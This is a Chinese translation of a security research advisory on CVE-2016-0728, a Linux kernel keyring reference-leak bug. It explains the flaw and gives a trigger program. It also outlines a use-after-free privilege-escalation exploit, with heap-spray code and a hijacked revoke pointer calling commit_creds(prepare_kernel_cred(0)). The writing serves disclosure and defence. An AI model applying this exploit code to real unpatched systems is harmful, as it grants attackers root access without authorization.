介绍
Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于Linux的内核中了,但是我们的团队最近才发现了这个漏洞,并将漏洞的详细信息报告给了内核安全团队。在此之后,我们还发布了一个针对此漏洞的概念验证利用实例。截止至漏洞披露的那一天,这个漏洞已经影响了大约数千万的安装了Linux操作系统的个人计算机和服务器。其中有66%的设备是安卓设备(包括手机和平板电脑在内)。目前,我们和内核安全团队都没有发现任何针对此漏洞的攻击事件,我们建议安全团队对所有有可能受此漏洞影响的设备进行测试,并尽快发布相应的修复补丁。
在这篇文章中,我们将会对此漏洞的技术细节进行讨论,并且还会讨论通过这个漏洞来实现内核代码执行的相关技术。最后,我们还会给大家提供相应的 概念验证实例 ,并给大家演示如何将本地用户提权至root用户。
漏洞信息
漏洞CVE-2016-0728 是由相关keyring功能中的引用泄漏所引起的。在我们深入了解该漏洞的详细信息之前,我们还需要了解一些基础背景知识。
在这里,我们直接引用帮助手册中的内容。驱动器在内核中保存或缓存安全数据、认证密钥、加密密钥和一些其他的数据时,必须使用到keyring功能。系统会调用接口-keyctl(当然了,系统中还存在另外两个系统调用,系统会使用这些系统调用来处理密钥:add_key和request_key,但keyctl绝对是这篇文章中最重要的。),在这个功能的帮助下,用户空间中的程序就可以管理相应的对象,并且使用这一机制来满足不同程序所需实现的不同功能。
每一个进程都可以使用keyctl(全名为KEYCTL_JOIN_SESSION_KEYRING)来为当前的会话创建相应的keyring,而且还可以为keyring指定名称,如果不需要指定名称的话,传入NULL参数即可。通过引用相同的keyring名称,程序就可以在不同进程间共享keyring对象了。如果某一进程已经拥有一个会话keyring了,那么这个系统调用便会为其创建一个新的keyring,并替换掉原有的keyring。如果某一对象被多个进程所使用,那么该对象的内部引用计数(该信息存储在一个名为“usage”的数据域中)将会自动增加。当进程尝试使用相同的keyring替换其当前的会话keyring时,泄漏就发生了。我们可以在下面所给出的代码段(代码段来源于内核版本为3.18的Linux内核)中看到,程序的执行将会直接跳转至error2标签处,这样就跳过了key_put函数的调用,并泄漏了keyring的引用信息(由函数find_keyring_by_name生成)。
long join_session_keyring(const char *name) { ... new = prepare_creds(); ... keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments keyring->usage if a keyring was found if (PTR_ERR(keyring) == -ENOKEY) { /* not found - try and create a new one */ keyring = keyring_alloc( name, old->uid, old->gid, old, KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK, KEY_ALLOC_IN_QUOTA, NULL); if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } } else if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } else if (keyring == new->session_keyring) { ret = 0; goto error2; //<-- The bug is here, skips key_put. } /* we've got a keyring - now install it */ ret = install_session_keyring_to_cred(new, keyring); if (ret < 0) goto error2; commit_creds(new); mutex_unlock(&key_session_mutex); ret = keyring->serial; key_put(keyring); okay: return ret; error2: mutex_unlock(&key_session_mutex); error: abort_creds(new); return ret; }
在用户空间中触发这个漏洞是非常容易的,我们可以在下列的代码段中看到:
/* $ gcc leak.c -o leak -lkeyutils -Wall */ /* $ ./leak */ /* $ cat /proc/keys */ #include <stddef.h> #include <stdio.h> #include <sys/types.h> #include <keyutils.h> int main(int argc, const char *argv[]) { int i = 0; key_serial_t serial; serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring"); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) { perror("keyctl"); return -1; } for (i = 0; i < 100; i++) { serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring"); if (serial < 0) { perror("keyctl"); return -1; } } return 0; }
这样一来,我们便能够得到下列输出信息,这些信息中包含有泄漏的keyring引用信息:
漏洞利用
我们需要注意的是,这个漏洞能够直接引起内存泄漏,除此之外,它还能引起很多更加严重的问题。我们在对相关代码段进行了简要的分析之后,我们发现用于存储相应对象引用计数的“usage”数据域其类型为atomic_t,这种类型可以算是int类型,即无论在32位还是64位架构的系统中,其长度都是32位。因为每一个整数从理论上来说都是有可能溢出的,所以这一发现也就验证了在该漏洞的实际利用过程中,利用引用计数溢出这一机制似乎是可行的。幸运的是,在我们进行了分析之后发现,系统的确不会对“usage”数据域进行检测,也没有防止其中数据溢出的相关措施。
如果某一进程引起了内核中某一对象的引用泄漏,那么就会使系统内核认为这个对象已经不再被使用了,并且会释放这个对象所占用的存储空间。如果该进程仍然存有该对象的另一个合法引用信息,并且在内核释放了目标对象之后使用了它,那么将会导致内核释放这条引用信息或者重新分配内存空间。这样一来,我们就可以通过这一漏洞来实现UAF(用后释放)。网络上有很多关于内核中用后释放漏洞的利用方法,大家可以自行搜索和学习,在此我们不再进行赘述。接下来的操作步骤对于一名经验丰富的漏洞研究人员而言,也许没有什么新鲜的东西了。漏洞利用代码所进行的主要操作如下:
1.得到一个密钥对象的(合法)引用信息;
2.使同一对象的“usage”数据域溢出;
3.释放keyring对象;
4.在之前使用的keyring对象所占的内存空间中,分配一个不同的内核对象(含有用户可控制的数据内容);
5.使用已释放keyring对象的引用信息来触发漏洞利用代码的执行;
第一步操作的详细信息大家可以直接从操作手册中获取,步骤二我们也已经在文章中解释过了。接下来,我们将会对其他操作步骤的技术细节进行讨论。
引用计数溢出
这一步操作实际上是对这一漏洞的扩展。“usage”数据域是int类型,这也就意味着无论在32位还是64位架构的操作系统中,它所能保存的最大值均为2的32次方。为了让“usage”数据域发生溢出,我们必须对代码段进行2^32次循环,以此来让“usage”的值变为零。
释放keyring对象
我们有很多种方法能够释放存有引用计数的keyring对象。其中一种可能成功的方法就是:通过一个进程来使keyring的“usage”变为0,然后通过keyring子系统(该系统会释放所有引用计数为0的keyring对象)中的垃圾回收算法来释放目标对象。
分配和控制内核对象
当我们的进程指向了一个已经释放的keyring对象之后,我们就需要分配一个内核对象来覆盖这个之前已经释放了的keyring对象。多亏了SLAB内存分配机制,这一步骤实现起来非常的容易。其中的主要操作代码如下:
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } }
获得内核代码执行权限
下列Linux内核代码段将会调用revoke函数。除此之外,我们还可以通过keyctl系统调用来引用Revoke函数指针。
void key_revoke(struct key *key) { . . . if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) && key->type->revoke) key->type->revoke(key); . . . }
keyring对象中应该包含以下信息:
相关代码段如下:
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); struct key_type_s { void * [12] padding; void * revoke; } type; _commit_creds commit_creds = 0xffffffff81094250; _prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550; void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) { ... struct key_type * my_key_type = NULL; ... my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; ... }
我们在一台配有英特尔酷睿i7-5500 CPU的设备上进行了测试,整个测试过程花费了大约30分钟的时间,我们所得到的信息如下图所示:
漏洞缓解方案&结论
内核版本为3.8及其以上的Linux内核都会受到这个漏洞的影响。SMEP和SMAP从某种程度上来说可以给予用户提供一定的保护。也许我们会在之后的文章中讨论如何绕过这些缓解措施,但是现在迫在眉睫的事情就是尽快修复这个漏洞。
感谢David Howells和Wade Mealing,以及整个红帽安全团队对这个漏洞所付出的努力。
本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/